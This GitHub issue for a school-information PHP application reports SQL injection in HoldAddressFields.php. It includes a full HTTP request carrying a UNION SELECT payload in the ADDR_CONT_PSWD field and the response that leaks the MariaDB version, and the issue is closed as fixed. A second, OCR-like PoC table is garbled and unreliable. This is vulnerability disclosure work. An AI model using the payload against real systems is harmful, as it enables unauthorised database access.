

New issue

[Jump to bottom](#)

## SQL Injection in file HoldAddressFields.php #193

Closed minhgalaxy opened this issue on Sep 1, 2021 · 2 comments

minhgalaxy commented on Sep 1, 2021 • edited

### Description:

Because of lacking of sanitizer of input data, attacker can injection malicious sql into query by control parameters such as ADDR\_CONT\_USRN , ADDR\_CONT\_PSWD or SECN\_CONT\_USRN , SECN\_CONT\_PSWD in file HoldAddressFields.php .

### Request

```
POST /HoldAddressFields.php HTTP/1.1
Host: 172.16.0.12:2222
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: vi,vn;q=0.9,fr;q=0.8,en-US;q=0.7,en;q=0.6,sm;q=0.5,la;q=0.4,zh-CN;q=0.3,zh-TW;q=0.2,zh;q=0.1
Cookie: cywg_2132_saltkey=E2w57uH2; cywg_2132_lastvisit=1630101103; cywg_2132_ulastactivity=6590uIjzBHML3smc7veG8yziPxJya1N4jgoE9aN3L3FvOCr30v1_ ; ORRL_2132_saltkey=5SddxNX7; ORRL_2132_lastvisit=1630117184; ORRL_2132_ulastactivity=4e4933KaEc2d5jrjCQZlYd-PcZ8j470p8v4gqPXPHDs6JlJdGR4; ORRL_2132_forum_lastvisit=D_1_16301317880_index_1630131832; PHPSESSID=i3j7fp3hcjbmot1d60dao1514a
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

ADDR_CONT_USRN=123&ADDR_CONT_PSWD="+union+select+1,2,3,4,version(),6,7,8,9--+--
```

### Response

```
HTTP/1.1 200 OK
Date: Wed, 01 Sep 2021 12:38:58 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/7.4.21
X-Powered-By: PHP/7.4.21
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1372
Connection: close
Content-Type: text/html; charset=UTF-8
```

```
Array
(
    [ADDR_PRIM_L1] =>
    [ADDR_PRIM_L2] =>
    [ADDR_PRIM_CITY] =>
    [ADDR_PRIM_STATE] =>
    [ADDR_PRIM_ZIP] =>
    [ADDR_PRIM_BUSNO] =>
    [ADDR_PRIM_BPU] =>
    [ADDR_PRIM_BDO] =>
    [ADDR_SAME_HOME] =>
    [ADDR_SAME_AS] =>
    [ADDR_MAIL_L1] =>
    [ADDR_MAIL_L2] =>
    [ADDR_MAIL_CITY] =>
    [ADDR_MAIL_STATE] =>
    [ADDR_MAIL_ZIP] =>
    [ADDR_CONT_RSHIP] =>
    [ADDR_CONT_FIRST] =>
    [ADDR_CONT_LAST] =>
    [ADDR_CONT_HOME] =>
    [ADDR_CONT_WORK] =>
    [ADDR_CONT_CELL] =>
    [ADDR_CONT_MAIL] =>
    [ADDR_CONT_CUSTODY] =>
    [ADDR_CONT_PORTAL] =>
    [ADDR_CONT_USRN] => 123
    [ADDR_CONT_PSWD] => 10.4.20-MariaDB
    [ADDR_CONT_SAHA] =>
    [ADDR_CONT_ADNA] =>
    [ADDR_CONT_LIN1] =>
    [ADDR_CONT_LIN2] =>
    [ADDR_CONT_CITY] =>
    [ADDR_CONT_STAT] =>
    [ADDR_CONT_ZIP] =>
    [CHK_HOME_ADDR_PRIM] =>
    [SECN_CONT_RSHIP] =>
    [SECN_CONT_FIRST] =>
    [SECN_CONT_LAST] =>
    [SECN_CONT_HOME] =>
    [SECN_CONT_WORK] =>
    [SECN_CONT_CELL] =>
    [SECN_CONT_MAIL] =>
    [SECN_CONT_CUSTODY] =>
    [SECN_CONT_PORTAL] =>
    [SECN_CONT_USRN] =>
```

PoC:

Request					Response				
Priority	Host	Path	Actions		Priority	Host	Header	Path	Actions
1	POST	/oidAddress=fields.php	RTTP/1.1		24	[ADDR_PRIM_HOST]			
2	Host:	172.16.0.12:2122			25	[ADDR_PRIM_HOST]			
3	Cache-Control:	max-age=0			26	[ADDR_PRIM_HOST]			
4	Upgrade-Insecure-Requests:	1			26	[ADDR_SAME_HOST]			
5	User-Agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36			27	[ADDR_SAME_HOST]			
6	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9			28	[ADDR_MAIL_L1]			
7	Accept-Encoding:	gzip, deflate			29	[ADDR_MAIL_L2]			
8	Accept-Language:	vi-vi;VN;q=0.9,fr-fr;q=0.8,en-US;q=0.7,en;q=0.6,mn-q=0.5,ja-q=0.4,zh-CN;q=0.3,zh-TW;q=0.2,zh;q=0.1			30	[ADDR_MAIL_CMT1]			
9	Cookie:	cyw_2132_mailkey=EW6702; cyw_2132_lastvisit=1630210103; cyw_2132_qlastactivaty=163001188M;lastvisit=163001188;PQC61CIVL; GWS_2132_mailkey=556da807; GWS_2132_lastvisit=163001188; GWS_2132_qlastactivaty=449318AC2A5413;CQ2176-PcZ5Y70p0v9qPZP8a613SD84; GWS_2132_forum_lastvisit=163011211832; PHPSESSID=1377p3hc3xm610d6da194ta			31	[ADDR_MAIL_STAT1]			
10	Connection:	close			32	[ADDR_MAIL_ZIP]			
11	Content-Type:	application/x-www-form-urlencoded			33	[ADDR_COHT_FIRST]			
12	Content-Length:	78			34	[ADDR_COHT_FIRST]			
13	ADDR_COHT_USER=123&ADDR_COHT_PSWD=***&url=select%27,3,4,version()%,6,7,8,9--+&				35	[ADDR_COHT_LAST]			
14					36	[ADDR_COHT_HOME]			
					37	[ADDR_COHT_HOME]			
					38	[ADDR_COHT_HOME]			
					39	[ADDR_COHT_CELL]			
					40	[ADDR_COHT_MAIL]			
					40	[ADDR_COHT_CUSTOIT]			
					41	[ADDR_COHT_PORTAL]			
					42	[ADDR_COHT_USER]		123	
					43	[ADDR_COHT_PSWD]		10-1-20-Mar14b	
					44	[ADDR_COHT_LABE]			
					45	[ADDR_COHT_ABNAL]			
					46	[ADDR_COHT_LINK]			
					47	[ADDR_COHT_LINK]			
					48	[ADDR_COHT_CITY]			
					49	[ADDR_COHT_STAT]			
					50	[ADDR_COHT_ZIP]			
					51	[CMT_HOME_ADDR_PRIM]			
					52	[SECHN_COHT_HOME]			
					53	[SECHN_COHT_FIRST]			
					54	[SECHN_COHT_LAST]			
					55	[SECHN_COHT_HOME]			

Author

Fixed

Member

 openSISAdmin closed this as completed on Sep 9, 2021

No one assigned

None yet

None yet

No milestone

No branches or pull requests

